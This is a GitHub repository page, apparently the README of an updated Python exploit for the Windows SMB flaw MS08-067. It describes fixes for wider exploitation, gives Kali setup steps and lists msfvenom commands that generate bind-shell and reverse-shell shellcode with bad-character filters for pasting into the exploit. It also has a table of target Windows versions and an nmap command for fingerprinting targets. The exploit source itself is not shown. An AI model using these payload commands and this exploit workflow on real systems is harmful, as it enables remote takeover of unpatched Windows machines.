Skip to content
Updating MS08-067 Python exploit script
Branch: master
Clone or download
Latest commit 4a9aad1 Aug 17, 2018
Type Name Latest commit message Commit time
Failed to load latest commit information.
LICENSE Initial commit Aug 18, 2018 Update Aug 18, 2018 Updated MS08_067 Python File FTW Aug 18, 2018

MS08_067 Python Exploit Script - Updated 2018

This is an updated version of the super old MS08-067 Python exploit script. It implements some fixes to allow easy exploitation on a wider range of configurations.

Cloned and edited from this repository:

Installation on Kali

git clone

You'll need to update Kali's Impacket version to 0_9_17

Here in 2018, Kali's package management is on an old version of Impacket. Here's the steps on how to fix it:

git clone --branch impacket_0_9_17 --single-branch
cd impacket
pip install .

Update Notes

+ Added support for selecting a target port at the command line.  It seemed that only 445 was previously supported.
+ Changed library calls to correctly establish a NetBIOS session for SMB transport
+ Changed shellcode handling to allow for variable length shellcode. Just cut and paste into this source file.

Generating Shellcode

Example msfvenom commands to generate shellcode. Just paste these into the file which you'll edit after downloading. 'Cause you're an awesome hacker like that.

msfvenom -p windows/shell_bind_tcp RHOST= LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows


Usage: <os #> <Port #>

  • 1 445 -- for Windows XP SP0/SP1 Universal, port 445
  • 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
  • 3 445 -- for Windows 2003 SP0 Universal
  • 4 445 -- for Windows 2003 SP1 English
  • 5 445 -- for Windows XP SP3 French (NX)
  • 6 445 -- for Windows XP SP3 English (NX)
  • 7 445 -- for Windows XP SP3 English (AlwaysOn NX)

Also: nmap has a good OS discovery script that pairs well with this exploit:
nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery

You can’t perform that action at this time.